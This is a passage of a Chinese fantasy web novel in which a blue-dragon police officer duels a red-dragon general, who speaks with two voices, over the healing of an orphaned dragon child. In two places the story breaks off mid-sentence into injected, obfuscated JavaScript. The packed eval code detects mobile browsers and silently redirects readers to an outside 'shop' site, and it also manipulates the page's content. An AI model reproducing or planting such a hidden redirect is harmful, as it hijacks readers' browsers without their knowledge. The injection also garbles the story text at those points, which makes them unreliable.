“你是‘卡卡’吧?”萨菲隆问。 光头巨人没有回答,埋头吸了两口烟,把烟头丢在地上踩熄,当他把脚移开后,碎花岗岩铺成的路面上竟长出了鹅黄色的嫩芽。 小路两侧的绿草坪上惊现奇景,被修剪得平整的草皮开始悉悉索索地拔高,墓碑四周不知名的白色菌类争先恐后地顶开泥土蹿了起来。 看到这些,萨菲隆大大地松了口气。 他当然知道自己看到的意味着什么。 “我叫萨菲隆,是个警察。” 雨在他身后聚集成一对“水翼”。 “果然是这样——控制水的能力。”光头巨人一挑眉,“我在暴风城待了这么久,却从不知道在北区的警署里还藏着一条……你是蓝龙吧?” 萨菲隆点了点头。 “奇怪呀,蓝龙的人类形态不都应该是……算了,警官先生,我想你应该不是在拜祭亲友,所以我们的相遇大概不是巧合——你在这里守候,是因为你有求于红龙,但其实你并不知道自己会遇到谁,你会来这里是因为有人让你这样做,是吗?” “是。” “想必又是那条小母龙的把戏吧。”光头巨人笑了笑。 “小——母龙?”萨菲隆睁大眼,“你……你真失礼,怎能这样称呼她!……” “哦?那应该怎么称呼?你教教我。” “她会用‘贵族体’,所以——” “所以她一定是个大有来头的贵族千金大小姐?”光头巨人哑然失笑,“贵族体又怎么了,不过是一群有权势的老古董们弄出来唬弄人的迂腐玩意,装腔作势地咬文嚼字,自以为是什么阳春白雪,有什么了不起的?” 说这些话的时候,他用的正是“贵族体”的文法句式。 “你住口!” 一声稚嫩的低喝响起,两个男人为之一怔。 说话的竟是萨菲隆怀里的小男孩——他正挺直着腰,气呼呼地瞪着那个光头巨人。 “小鬼你……”萨菲隆大吃一惊。 “嗯?”光头巨人定睛一看,又笑道,“不知这位先生有何高见?” “你是从哪里偷学来的?贵族体龙语只有八大家族的成员才有资格使用!不准你说我们的坏话!咳……咳咳!——” 小孩本来身体状况就糟糕透顶,强打起精神叫了两嗓子,立即连连干咳。 “小鬼你安静点。”萨菲隆忙抚着小孩的背,见他咳得撕心裂肺,眉头皱得老高。 光头巨人歪着头,饶有兴致地打量这一大一小,似乎在猜他们之间的关系。 “令郎血气方刚,小小年纪就深知捍卫家族荣耀,真是难能可贵呀。” 听了这话,萨菲隆和小孩却是异口同声: “我不是这小鬼的爸爸。” “我才不认识这头大野牛!” 两人大眼瞪小眼,半响萨菲隆才明白小孩嘴里的“大野牛”指的是谁。 “喂喂。”本想吼吼这不知好歹的小鬼,可低头一看小鬼嘴角又多了几条血丝,八成是刚才咳出来的,萨菲隆心一软,顾不上凶他,从裤兜里抽出手帕替他擦拭。 小孩把脸别开,听萨菲隆说那是刚洗过的,才将信将疑地扭过头。 光头巨人看得有趣,笑道:“小子,你的大野牛叔叔可是一心想救你唷。” “我就快死了,谁也救不了我。”小孩嘟哝着。 “那可不一定哦。”光头巨人摇了摇手指,“对于红龙来说,只要是没死透的,没准都能救回来,我看你还挺有精神的样子,好像也用不着我出手,送去人类的医院里折腾折腾大概就没事了。” “不!……请等一下——”萨菲隆低叫道。 “我才不稀罕——唔!” 萨菲隆捂住小孩的嘴,不让他多话:“这个孩子离开他的父亲太久,体内的奥术污染失去抑制,已经开始大面积扩散,他的情况很严重,请救救他!” “要不是你用自己的蓝龙之力护着他,这小子压根撑不到现在。”光头巨人说,“萨菲隆警官,我想你大概不是这小子的父亲,你们之间想必也不是主仆关系,有一件事我很好奇——如果他是八大家族的人,为什么会带着一身奥术污染和你在一起?” “我也很想知道。”萨菲隆说,见对方若有所思,又道,“请你救救这小鬼——如果有什么我能做的,请尽管开口。” “你确定要向红龙做出承诺?也许要付出的代价超出你的想象。” “你逞什么能?别打肿脸——唔!“ 说不了话,小孩开始奋力扭动,而萨菲隆只是耐心地抱着他,任由那小家伙在自己身上踢来踢去。 “这是蓝龙的孩子,我愿意冒险。” “即使这小子与你非亲非故,你也愿意?” “是的。”萨菲隆低声说,“我在地震废墟中找到这小鬼……就当是缘分吧。” “地震废墟?”光头巨人一挑眉。 于是萨菲隆说了昨晚在南区乌瑟尔广场发生的事,当他提到也许是因为那个强力红龙光环,这个孩子才奇迹般地撑了整整一个月时,光头巨人的眼神有些异样,但萨菲隆并没有留意。 “看来倒真是缘分呢……”他走上前,朝萨菲隆伸出手,“让我看看。” 萨菲隆又惊又喜,忙把怀里的小家伙递了过去。 不料小孩趁他不备,一口咬在他的手指上,他的眉头顿时皱成一座小山。 “还真是只不识抬举的小野猫。”光头巨人接过小孩,冷冷地说。 “不准你碰我!”小孩拼命挣扎,无奈人小力薄,怎拗得过五大三粗的红龙,气愤之余只好逞口舌之快: “我才不会上你的当!——你才没本事治好我!……你以为你会说两句那种话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“现在知道你的萨菲隆叔叔有多好了吧?”光头巨人盯着手上的小孩,“也就因为你是条蓝龙幼崽,他才处处由着你,别不知好歹,小子——你该庆幸你的卡卡叔叔是条爱好和平的红龙,要是你落到黑龙手上……哼。” 见那光头巨人的墨镜下两个隐隐闪烁的暗红色光点,还有他那嘴里白森森的牙齿,小孩终于呜的一声哭了起来。 “呀……”光头巨人转向萨菲隆,眨了眨眼: “好像尿裤子了耶。” “……”萨菲隆瞠目结舌。 “真是个没用的小鬼。”光头巨人倒是不以为意。 小孩又羞又气,死死地拎着自己的裤子,捍卫自己最后的尊严。 当然也失败了。 “啧,鸡鸡这么小。”红龙撇了撇嘴。 一败涂地的小孩对这条可恶到了极点的红龙又恨又怕,可在成年龙的神圣降临领域——也就是龙威中,他的蓝龙之力丝毫派不上用场,无计可施的小孩最后终于想起了站在一旁的萨菲隆,泪眼汪汪地巴望着他。 没想到萨菲隆竟是一脸舒心的笑容,这可令小孩已受重创的心灵雪上加霜。 这些大坏龙! 萨菲隆不懂小孩的心思,他只是替小孩高兴。 和红龙进行短暂接触后,小孩的精神明显好了不少——红龙看似漫不经心,实际上已经在着手治疗,而且效果立竿见影,可见手段高明。 这个人到底是谁? 卡卡。 沉默了许久的“安多”的声音再次响起。 “嗯?” 那小子尿在我……尿在我们身上了。 “有什么问题吗?”光头巨人不以为意,还特地用手在小孩光溜溜的屁屁上蹭了蹭,“反正这身体又不是我的,屎尿都归你。” 你在生我的气。 “哪儿的话。”“卡卡”不动声色,“我可是在行善救人呢,这条小蓝龙颇有来头,以后他家里人找上门来感恩戴德,功劳也都是你的。” 让我来吧?你毕竟还不太习惯这个身体,治疗奥术污染需要大量调用红龙精华的。 “你?照顾小孩?省省吧——你那张怪兽脸不把小孩吓哭就谢天谢地了。” 卡卡!你现在用的也是我的怪兽脸!……我会照顾小孩,我以前带过别人的孩子。 “随你的便吧。” 转眼间,“卡卡”变回了“安多”。 “对不起,我们兄弟之间的状况有些特殊……不过别担心,既然卡卡决定救这个孩子,我这个做哥哥的也会帮忙。” “一人分饰两角”的红龙,让萨菲隆产生了古怪的联想。 “我认识一个朋友,他对于……呃,解决‘这方面’的问题比较在行。” 萨菲隆谨慎开口,同时指了指自己的脑袋。 “唔?哦,不必了,我们不是间歇性精神分裂,这事儿说来话长。”“安多”一边忙碌一边问,“你的朋友是绿龙?” 没等萨菲隆回答,光头巨人又自顾自地说:“我可不喜欢绿龙。” “很多人对绿龙有偏见,但——” “不是偏见。”“安多”摇了摇头,“你知道吗?这场大地震,就是绿龙干的。” “不是黑龙吗?”萨菲隆一愣。 “那条黑龙被精神污染了,所以才会同归于尽。”“安多”一脸忿然,“我的兄弟被埋在瓦砾里,等我找到他的时候,他已经不在了。” “我很抱歉。”萨菲隆低声说。 所以他才会到花园公墓来拜祭死去的弟弟。 因为过于悲痛,他才会产生幻觉,认为自己的兄弟与他同在。 连言谈举止都模仿入微……感情想必一定很深厚吧。 “那条绿龙作恶多端,被他精神污染的可不仅是黑龙而已。”“安多”看着萨菲隆,“连蓝龙都着了他的道。” “什么?” “当我在暴风城执行任务的时候,他和一条蓝龙联手阻挠我,那条蓝龙的心智已经被彻底腐蚀,完全失去自我——所以我不喜欢绿龙,他们实在是太危险了,天晓得他们会对你的脑子动什么手脚……咦,等等。” “安多”似乎发现了些什么,举起小孩,与自己额角相抵,却没注意到身边的人脸色已经变了。 “这个孩子……”光头巨人抬起头,一脸吃惊,“是麦洛尼家族的人?……” 他的话音戛然而止。 因为那位蓝龙警官正攥紧双拳,怒气冲冲地瞪着他。 等一下,安多!…… “不,卡卡,让我来。” 他将手罩在小孩的脸上,小蓝龙立即昏睡过去。 “原来是你。”萨菲隆的腮帮蠕动着,“是你杀了这小鬼的爸爸。” “真没想到,这居然是卡雷苟斯·麦洛尼的儿子。”光头巨人冷笑道。 这话宛若火上浇油,萨菲隆的蓝眼睛里满是暴风骤雨。 卡雷苟斯并非不称职的父亲。 他无法守护自己的孩子。 因为红龙杀了他。 两条成年雄性巨龙冷眼对视。 雨变大了。 5. 第 5 章 气氛急转直下,空气中充满了火药味。 “卡雷苟斯是玛里苟斯大人的特使,就算受到绿龙的精神污染,他仍有豁免权。为什么要杀他?”萨菲隆质问道。 “这个问题我在泰坦尼亚的龙族议会上已经回答过不知道多少次了。”光头巨人长身而立,面无表情,“我没义务向你解释——想替这小子的父亲报仇,是吗?” “……” “我叫安多洛夫,退役军官,你之前见到的是我的弟弟卡卡洛夫,雷奥家族的部分事务由我们打理——你确定要跟我动手?” 萨菲隆心头一凛。 他没想到站在自己面前的,竟是大名鼎鼎的红龙中将。 雷奥家族的当权者、龙族的英雄、最强的红龙……安多洛夫是拥有诸多耀眼光环的传奇人物,对于在人类世界隐居的萨菲隆来说,也同样是个偶像般的存在。 他当然不想跟自己敬仰的人兵戎相见。 然而他没有后退,只是紧紧地攥着拳头,像尊雕塑似的站在原地。 “在泰坦尼亚,没人敢正面挑战我。”安多洛夫说,“希望你的身手跟胆识一样能让我刮目相看。” 见萨菲隆盯着自己臂弯里的小孩,安多洛夫便一挥手,将那孩子送到远处的一块空地上。 “你出手吧。” 安多,你想在暴风城北区引发另一场地震吗? “……我不喜欢有人对我玩花招。”安多洛夫争辩道。 你这个遇上点风吹草动就要动拳头的坏习惯必须得改改了,这是个讲求智慧的时代,多用用脑子,你会发现比肌肉更有效——闪开,看我的示范。 光头巨人再次“人格切换”,又成了那个玩世不恭的小混混,看着那吊儿郎当的模样,萨菲隆的眉头皱得更紧了。 这位著名的红龙中将到底在搞什么把戏,他没有兴趣知道。 安多——或许该叫他卡卡——盯着萨菲隆:“是麦洛尼家族的人指使你的?他们在龙族议会上百般刁难,我不跟他们计较,但要是他们不依不饶,我不介意陪他们玩。” “我跟那个蓝龙家族毫无关系。”萨菲隆沉声道,“我不知道这个小鬼是谁的孩子,我只是想救他而已——但是,中将先生,我同样不喜欢你的态度。” 卡雷苟斯是蓝龙王最为信任的部下,曾在太阳井战役中立下赫赫战功,是蓝龙一族的英雄;他为人低调谦和,人人都相信他将是下一任蓝龙最高执政官,谁能料到他会落得这般下场?别说麦洛尼家族悲愤交加,只怕是条蓝龙都无法接受。 “态度?”卡卡不以为然,“安多是个军人,服从命令和执行任务是他的职责,逮捕押送特雷姆斯是红龙女王和黑龙公爵交涉后直接指派给他的使命,凡是妨碍他的统统格杀勿论——这就是他的态度,有什么问题吗?” “精神污染是可以通过其他方式消除的。”萨菲隆一字一句地说。 “听说被卡雷苟斯杀掉的那些警察里,不少是有家室的男人?”卡卡反问。 “……” “萨菲隆警官,你以为你那些殉职同事的十倍抚恤金还有家属的安置费是谁掏的?你看新闻了吗?你知道灵风能源集团的大老板亚雷·麦洛尼是谁吗?” “他是卡雷苟斯的兄弟——” “被卡雷苟斯杀掉的凡人用钱就可以摆平——为了那帮蓝龙,安多也给了他们不少好处,补偿条件优渥得让雷奥家族的财政顾问团成天抱着他的腿哭天抢地,麦洛尼家族还要怎样才满意?”卡卡说,“因为卡雷苟斯被精神污染了,所以那些被冰山砸成肉泥的凡人纯粹是倒霉,那么基于同样的理由,他死在安多手上,不也是倒霉吗?” 萨菲隆不是那种能言善辩的人,被这番话轰得有些不知所措。 光头巨人拉起汗衫,露出胸腹。 “绿龙击穿了他的心脏,蓝龙用冰锥在他身上开了个大洞,把他钉在跨海大桥上,他靠濒死一击才干掉了卡雷苟斯,要不是有人出手相救,他早就死了,要不是我拼了老命替他治疗,他起码需要半个月才能自愈——萨菲隆警官,你自己看吧。” 安多洛夫的胸腹上有两块足有碗口大小的疤痕,虽然已恢复完好,但肤色较浅,显然是新长出来的。 红龙中将受了这么重的伤,险些丧命,可想而知当时的战况有多惨烈。 “卡雷苟斯的爱人在太阳井战役中牺牲,现在……”萨菲隆看了一眼空地上熟睡的小孩,“这个孩子成了孤儿。” “麦洛尼家族会好好照顾他的。”卡卡说,“真是抱歉,我们甚至不知他还有个孩子。” “‘你们’对泰坦尼亚的蓝龙也是这么说的吗?” “你是说,安多应该为此向蓝龙赔罪?”卡卡故作惊讶,“亲爱的,我可不这么想——你敬仰的卡雷苟斯大人私下与绿龙一族的危险人物接触,接着不负众望地遭到精神污染……我不想对逝者无礼,所以我就不说这是咎由自取了。” “……” “但他身居要职却如此莽撞不计后果,安多没有以其渎职为由向龙族议会递交弹劾议案,已经给足蓝龙面子了。” “他为什么会跟那条绿龙接触?” “你问我我问谁。”卡卡白眼一翻,“女王和教父又没下令调查,我们现在日理万机,哪儿有功夫研究这种脑残行为后的奥秘。” “所以你直接宣判他死刑?”萨菲隆追问,“安多洛夫中将,你该不会碰巧和卡雷苟斯先生有什么积怨吧?” 听了这话,光头巨人收起笑,眼中红光一闪。 一股狂风朝萨菲隆迎面袭来,雨滴变成利刃,将他的汗衫袖口割下一角,同时在他的左脸颊上留下一丝血痕。 红龙强化了神圣降临领域,这是相当严厉的警告。 “我劝你最好小心说话。”卡卡冲着萨菲隆摇了摇手指,“换作是安多,早就提出决斗不死不休了,他发起脾气来可是很吓人的,别指望每次我都能劝住他,要是诺森德的亡者之书上多添一条蓝龙的名字,泰坦尼亚又闹个鸡飞狗跳,那多不好。” “这是威胁吗,中将先生?” “是又怎样?” 卡卡,这就是……你的示范吗?你已经快把他惹火啦。 “一切都在控制之中。”卡卡胸有成竹。 “卡雷苟斯死在了暴风城,我是这里的警察,调查取证是我的职责,泰坦尼亚的那一套就省省吧。”萨菲隆毫不退让,“回答我的问题会让你很困扰吗,中将先生?” “要是他拒绝回答你这些无礼的提问呢?” “那我就以妨碍公务的罪名拘留你。” “哦?那我是不是应该叫雷奥家族立即派个豪华律师团到暴风城来?” “按人类的司法程序来,只会对你更不利。” 卡卡哑然失笑:“亲爱的,你真可爱——你觉得你那小小的警察局能关得下一条龙?暴风城和泰坦尼亚高层早就通过气了,连黑龙引发地震这么大的事都被压了下来,你以为会有人关心一条被炸得粉身碎骨的蓝龙?你们的检查机构甚至没有立案,你凭什么调查安多?在要他回答你的问题前,你为什么不先问问自己是不是因为卡雷苟斯跟你一样都是蓝龙才格外护短呢?” 卡卡盯着萨菲隆: “卡雷苟斯确实有蓝龙王给的豁免权没错,但安多也有龙族议会发的杀人执照——警官先生,对卡雷苟斯痛下杀手是万不得已,对于这个孩子的遭遇我很抱歉,安多也一样,但他是个坦率的人,他一定不会介意这个孩子日后向他复仇——” 卡卡,那个…… “萨菲隆警官,我相信安多甚至可以教那孩子怎样对付他,让一个被宠坏的小少爷怀着仇恨被杀父仇人调教成一代强者这么浪漫的事,非常符合我哥哥的风格。” 卡卡,你这不是调解,你在故意激怒他。 “你闭嘴。”卡卡眼也不眨地剥夺了哥哥的发言权,继续火上浇油: “权力博弈,蓝龙从来赢不了红龙,麦洛尼家族尚且拿我们没办法,你觉得自己有多少胜算?” 萨菲隆缓缓地点了点头,怒火令他的手指变得僵硬。 “过了那么久,红龙还是一样傲慢。” “不爽的话就去求别人啊。”卡卡翻了翻白眼,“别说我没警告过你,那小子的奥术污染只是被暂时压制,想要重新活蹦乱跳还有得折腾呢,一般的红龙可没本事彻底治愈,所以我说你得罪我哥哥实在太欠考虑,他是有身份有地位的人,面子就是他人生的意义——” 话音刚落,先前安多的法术失效,小孩醒了过来,又开始干咳,小脸憋得通红。 “那孩子没了爸爸,奥术污染才会扩散,你……你们不要太过分了!……”萨菲隆急了。 “现在别说安多了,连我都不乐意治了——你们蓝龙也太难伺候了,不救要唧唧歪歪,救了还是要唧唧歪歪,到底是谁比较过分?既然麦洛尼家族如此伟大,你把这小子打包寄过去不就完了,没准还能被赏一大笔钱呢。” 小孩咳得很厉害,每咳一声萨菲隆的心就抽紧一分。 见那性情温厚的蓝龙大汉已经被激得脸色发青,卡卡眼珠一转: “其实我是没所谓啦,主要是你把安多惹火了,不过他是个武力至上主义者,只要你能打败他,让他输得服气,说不定就回心转意了。” “你……你这个笨蛋……别跟他打……咳咳……你打不过他的。” 小孩冲着萨菲隆直摇头,可蓝龙听了卡卡的话,宛若捡到救命稻草。 “这话是你说的,我要是赢了,‘安多’也罢‘卡卡’也罢,随便哪个,得把这小鬼彻底治好!” 说完他全身寒气四溢,蓝瞳如炬,龙威发动,显然是要动真格的了。 “哎?真的要动手啊,真是的,有话好好说嘛——安多,接下来就交给你了,千万不要让我们伟大强力的红龙雷奥家族丢面子唷。” 说完这话,卡卡大方地让出了身体控制权,让安多和怒气冲冲的蓝龙警官大眼瞪小眼。 “示范了半天,到头来还不是要打……”安多洛夫小声嘀咕。 我费了那么多口舌,好不容易才帮你占据道德制高点,现在你可以名正言顺地开打啦——安多你要珍惜局面,不是谁都会对你这么好的。 原本安多还挺生气,觉得萨菲隆是故意来发难的,被卡卡这么一搅和,哪还有心思动手。卡卡和萨菲隆吵了半天,安多也约莫听出来大概:看这光景,萨菲隆也许是真不知情,之所以会护着这个不怎么讨人喜欢的小鬼,只是因为他是条好心的龙。 和蓝龙相比,安多洛夫更担心他的兄弟。 但他无暇多想。 因为萨菲隆已经出手了。 阴沉的天变成灰蓝色,草坪变成紫蓝色,树丛变成墨蓝色,墓碑上被风吹落的花瓣也成了粉蓝色——一切都突然变蓝,不变的只有风暴中心对峙的两条龙。 墓园上空转眼间乌云滚滚,雷电交加,雨下得更大了。 安多洛夫没有动作,任由瓢泼大雨淋在自己身上。 他看到萨菲隆微微张嘴说了句什么,接着眼中蓝光一闪。 蓝龙之力激发的超低温将雨滴连同它们的坠落轨迹瞬间冻结,顿时千万条“银线”划破天幕,不计其数的冰针从天而降。 墓园转眼间面目全非,锋锐如刀的冰扎入地表,原本修剪平整的草坪瞬间千疮百孔,连墓碑都没能幸免。 在这种地图炮式的攻击下,任何人都无所遁形,只会被冰刺成箭猪。 但安多洛夫却面无惧色,他没有展开红龙光环,没有采取任何应对措施,甚至没有挪动脚步。 冰几乎毁掉了他身边的一切,却唯独留下他的立足之地。 萨菲隆仍旧不愿和红龙中将交恶。 透过层层冰棱折射,安多洛夫望着蓝龙模糊扭曲的身影。 “怎么手下留情了?怕伤到我吗?” 一束红光刺破乌云直射而下,罩住安多洛夫全身。 炽烈的红光渗入萨菲隆的冰,热浪如潮,刚才还被冻得瑟瑟发抖的草木转眼间被点燃,墓园里惊现冰火交融之奇景。 “奥术位面结界,操纵天气,控制冰的能力……”安多洛夫的眼中闪出一丝兴奋,“蓝龙之力果然厉害,不过要让我认输替那小子治疗,你恐怕还得用点绝活才行。” “龙息定胜负吧。”萨菲隆说。 “好啊。”安多洛夫乐了,“为什么不呢?——比龙息我可从没输过。” 萨菲隆的蓝瞳光芒暴涨。 安多洛夫将右手置于胸前,从心口取出一小块光彩夺目的红龙精华。 “……何况蓝龙的吐息,我从没放在眼里!” 两人同时展开巨龙之力,蓝龙六芒星阵和红龙光环发动,相距不过二十码。 冰霜龙息和红龙火息相撞,安多洛夫立即发现自己实在太轻敌。 蓝龙本来对战斗就没什么兴趣,觉得武力解决问题有失风度,他们更讲求“软实力”,虽然他们控制奥术和低温的能力堪称出神入化,但真要跟尚武彪悍的红龙对上,多半都是输。 可这条蓝龙绝对是个异类,安多洛夫身经百战,甚至还曾跟蓝龙王玛里苟斯都切磋过——当然是点到即止——却从未见过威力这么强的冰霜吐息,和之前在跨海大桥遭遇的卡雷苟斯相比,蓝龙之力足足强了好几档,以至于硬碰硬之下,安多胸口一窒,居然嘴角迸出一缕血丝。 这家伙!…… 要是就这么输了,一定会被卡卡骂成猪头哇。 为了捍卫自己岌岌可危的兄长地位,大名鼎鼎、所向无敌的安多洛夫中将一咬牙,正欲发狠,不料手上猛的一轻,压力全消,定睛看去,却发现萨菲隆已经收了手。 失去冰霜的制约,足以令金属气化的红龙火息一发不可收拾,气势汹汹地朝那蓝龙警官扑去。 安多,你会把他烧成焦炭的! 安多洛夫心知不妙,也急忙收招。 然而两人过于接近,龙息对决几乎是贴身对轰,仓促间安多已经来不及撤消红龙之力了。 “快躲开!”安多洛夫气急败坏,高声怒吼。 在火光即将吞噬萨菲隆时,冻气和雨水在蓝龙跟前凝成一层薄冰,光亮如镜。 冰镜表面泛起水纹,安多洛夫立即明白这不是普通的冰盾。 冰火相触,看似不堪一击的薄冰竟悄无声息地把红龙吐息“反射”了回去。 红龙中将被自己的吐息击中,浑身燃起大火。 但他安然无恙,烈火温驯地匍匐在他脚下,甘愿做红龙忠实的仆人。 半个墓园化作火海,对面则是一片冰雪世界。 能量冲击的余势渐渐褪去,安多洛夫抬头,看了空中不断“愈合”的裂痕一眼。 看来有必要对这条蓝龙重新评估一番了。 对方的蓝龙之力大大超出他的预料之外,刚才的龙息对决萨菲隆之所以没有进一步发力,是担心冲击波的能量超过奥术位面结界的承受极限——他们现在正处于一个被奥术能量构建出来的“平行空间”里,无论他们做了什么,都不会对“现实”造成影响,然而一旦蓝龙的结界崩溃,那么平行位面里发生的任何事,就会原原本本地“映射”到“现实”之中。 那样从地图上消失的,就不仅仅是一座花园公墓了。 所以萨菲隆改变了战术,无意再和安多洛夫攀比谁的力量更强——仅有半寸厚的冰镜本身强度很低,普通人用膀子都能撞碎,然而关键在于镜面上的“奥术涂层”,通过能量反转和相位扭曲完成对红龙吐息的完美反射,是极高明的奥术运用技巧。 这位蓝龙警官,绝非仅有一身蛮力啊。 不愿意伤及平民,或是暴露身份吗?看来倒是自己过于鲁莽了。 安多洛夫正在思索对策,卡卡开始大呼小叫了: 安多!快!用红龙炸弹搞他! “那东西不能随便乱用的!”安多叫道,“每次用了都要写十多页的报告——” 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363268|199776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮你写,你快炸他!跟我们伟大强力的雷奥家族作对就必须死。 “……卡卡,我们回头好好谈谈,好不好?”安多抓耳挠腮,冷不防一个声音在身后响起: “中将先生,得罪了。” 没等光头巨人做出反应,萨菲隆跘住他的脚,同时用钳子般的巨掌卡住他的后颈,将红龙的脸朝地上按去。 一声闷雷般的巨响,安多洛夫几乎整个上半身都陷进了坚硬的花岗岩地面,蛛网般的巨大龟裂甚至延伸到了远处的围墙。 安多洛夫从地上跳起来,活动了一下脖子,摘掉鼻梁上碎掉的太阳眼镜,瞪着萨菲隆,伸手把他的肩膀猛地一推,蓝龙警官顿时像发炮弹似的朝后飞出,接连撞折了两棵大树,最后一堵厚墙好不容易挡住了他,但也被撞塌了一大半。 萨菲隆从瓦砾中站起,安多洛夫已经跟了上来,准备续招。 不过红龙的策略没有得逞,因为在两人之间突然凭空出现了一辆载重卡车,带着尖锐的金属共鸣在空中翻滚着朝安多洛夫迎面砸来——也不知是蓝龙从哪个位面挪过来的。 见那大卡车的驾驶座里没人,安多洛夫便刹住脚,张开臂膀箍住卡车头硬接下了这个庞然大物,巨大的冲击力下,卡车头像空易拉罐一般瞬间被压扁,圆柱形的储存罐上褶皱迭起,金属疲劳到了极限,终于被撕成了两截,里面盛放的液体带着滚滚白雾,排山倒海似的汹涌而出。 卡车运载的竟然是液氮。 安多洛夫正想抽身闪避,不料他的左臂却已被低温液体粘在了卡车头上。 他才不想用那玩意洗澡,虽然不至于把他变成像被凝固的液体机器人一样脆,但至少会冻掉他一层皮——虽然马上能再生,但被弄得这么狼狈,也等于是输了。 安多低喝一声,以红龙之力产生的超高温熔掉了怀里的卡车头,接着发动红龙吐息,将沸腾的钢水喷出,遇冷后急速凝固的钢铁恰似一堵防护壁,护住了他的全身。 但等待安多洛夫的,是萨菲隆设下的新一轮攻击体系——更多的液氮在蓝龙之力的控制下悬浮在空中,被凝成了无数枚大小不一的冻锥,星罗棋布地充斥在红龙四周,封锁了他全部的退路。 安多洛夫放眼望去,只见漫天寒光,里三层外三层地围了个水泄不通,比刀锋山层峦叠嶂的锋利尖石还要骇人,不禁叹了口气: “要是我也会瞬间移动就好了。” “够了吗,中将先生?”萨菲隆问。 “不够不够。”安多洛夫兴奋地舔了舔嘴角,“好不容易遇上条这么厉害的蓝龙,不多过几招实在不过瘾,来来来,我们再打会。” “先替那孩子治疗,之后怎么打都行。” “我还没认输呢。”安多洛夫双臂环胸,满不在乎地望着萨菲隆。 “就算你用红龙之力保护自己,我也可以把回归常态的氮重新液化。”萨菲隆说,“持久战没有意义,这个奥术位面结界和现实世界使用相同的时间线——” “我们打多久,外头那小子就痛多久,也许之后就会死。”安多洛夫接过他的话,“他现在可没有你的庇护,奥术污染会加速扩散。” “就算这样,你们也打算袖手旁观吗?”萨菲隆眉头紧蹙,“如果是因为刚才的事情冒犯了你们,我……我道歉,我并不是——” “蓝龙,你真以为自己赢了?”安多洛夫耸了耸肩,“我现在随时可以杀掉你。” 他抬起左手,萨菲隆的左胸出现了一团忽明忽暗的红光。 “你已经被我埋了红龙炸弹,而且是隐性的。”安多洛夫缓缓收拢五指。 “我讨厌写报告,所以我有一个助理专门做这个,红龙炸弹这么imba*,不用才是傻瓜——真遗憾,你还是着了我的道。” 萨菲隆的呼吸急促起来,他用左手捂住胸口,魁梧的身躯顿时摇摇欲坠,虽然平举的右手仍控制着浮空的液氮,但明显已经力不从心了。 “心脏受制于人,蓝龙之力也无法运用自如,在你把我扎成刺猬前,你的心脏会直接被我引爆。”安多洛夫左手五指微张,缓缓收拢,随着他的手势,蓝龙的表情愈加痛苦。 “萨菲隆警官,我并不想杀你,你和泰坦尼亚的蓝龙不同,我很欣赏你。” 萨菲隆张了张嘴,却没说什么,也许他现在说话都很艰难。 “但是,警官先生,我和我的兄弟不喜欢被胁迫,无论是你,还是麦洛尼家族——我们会救那个孩子,但这绝不是因为我们欠了蓝龙。对于卡雷苟斯的死我很遗憾,但不会感到愧疚,我希望你拿出专业态度,不要把这两件事混为一谈。” 说起来,你不是因为发现那是卡雷的孩子才跟人家翻脸的吗?你自己也有够不专业的了。 “卡卡,我只是担心他是麦洛尼家族的人派来寻仇的,在泰坦尼亚有人扬言要雷奥家族付出代价,我不能不防范。” 算了不扯了,我回头再跟你吵——你杀了那小子的老爸,那小子却又因为我的红龙光环在地震废墟里活了下来,现在这大个子警察向我们求救,不管有缘没缘,随便治治打发走得了。 听了“卡卡”的话,萨菲隆大吃一惊。 他早该想到的不是吗?红龙中将来这里拜祭的,正是他那在地震中死去的弟弟。 “卡卡你说的也是。”安多洛夫想了想。 那还用说,我什么时候给你出过馊主意了——那帮蓝龙要闹就闹去吧,反正有大姐头和瓦老大顶着,你一个跑腿的打手犯得着蹦那么高当移动荣誉吗? “你……卡卡……不可以这么称呼女王陛下和维埃兰先生。” 安多洛夫正试图纠正弟弟对红龙首脑的态度,却突然感到脖子上一凉。 一柄寒冰短斧正搁在他的肩上,抵着他的喉咙。 “既然已经决定替那孩子治疗,那就请中将先生先认输吧。”萨菲隆低沉的声音在他身后响起。 安多洛夫一愣。 “那只是个奥术幻象。” 安多洛夫回头看看近在咫尺的蓝龙警官,又朝远处还捂着胸口大喘粗气的“萨菲隆”望去,接着皱了皱眉,举起双手叫道: “好吧,我认输啦。” 听到这话,萨菲隆松了口气,收了冰斧。 “那……?” “你总得先把结界撤了吧。”安多洛夫一摊手。 “啊……是的,对不起。”萨菲隆回过神来。 这条蓝龙…… 打起架来,和平时判若两人呢。 萨菲隆撤销了奥术位面结界,他们又回到花园公墓。 雨已经停了,微风徐徐,淡淡的阳光洒在草坪上,水珠闪闪发亮。 大大小小的墓碑静静地排列着,似乎什么都没有发生。 一位头发花白的老人拿着扫帚,慢慢地扫着小径上的积水和落叶。 没料到下雨天还会有访客,老人停下来,好奇地打量那两个魁伟的巨人。 嗬,瞧那块头! 他们好像认识,正朝同一个地方看—— 可那里只是一片空草坪,什么也没有呀。 咦?好像出什么事了,他们的脸色很难看呢…… 啊?朝这边冲过来了?…… 老人突然眼一花,下一刻那两个大个子男人已经扑到他面前,一红一蓝两双铜铃大眼瞪着他,异口同声地低吼: “那个小鬼呢?” 小鬼?什么小鬼?他们在说什么? 喔,等等……莫非是指…… “有……有位女士……带着一个孩子走了……” “女人?什么女人?她长什么模样?” “她带着那小鬼去哪里了?” 面对两个公牛似的壮汉齐声追问,可怜的老人被吓坏了,随手胡乱指了指,接着很幸福地昏了过去。 萨菲隆和安多洛夫傻了眼。 * IMBA:imbalance的简写,“不平衡”之意,引申为指代导致整体平衡性被破坏的逆天存在。 6. 第 6 章 两条龙打得起劲,回头才发现小孩不见了。 奥术位面结界的好处,是可以在里头大战,而不必担心殃及路过的甲乙丙丁。 但也会有坏处——“外面”发生了什么,他们同样无法察觉。 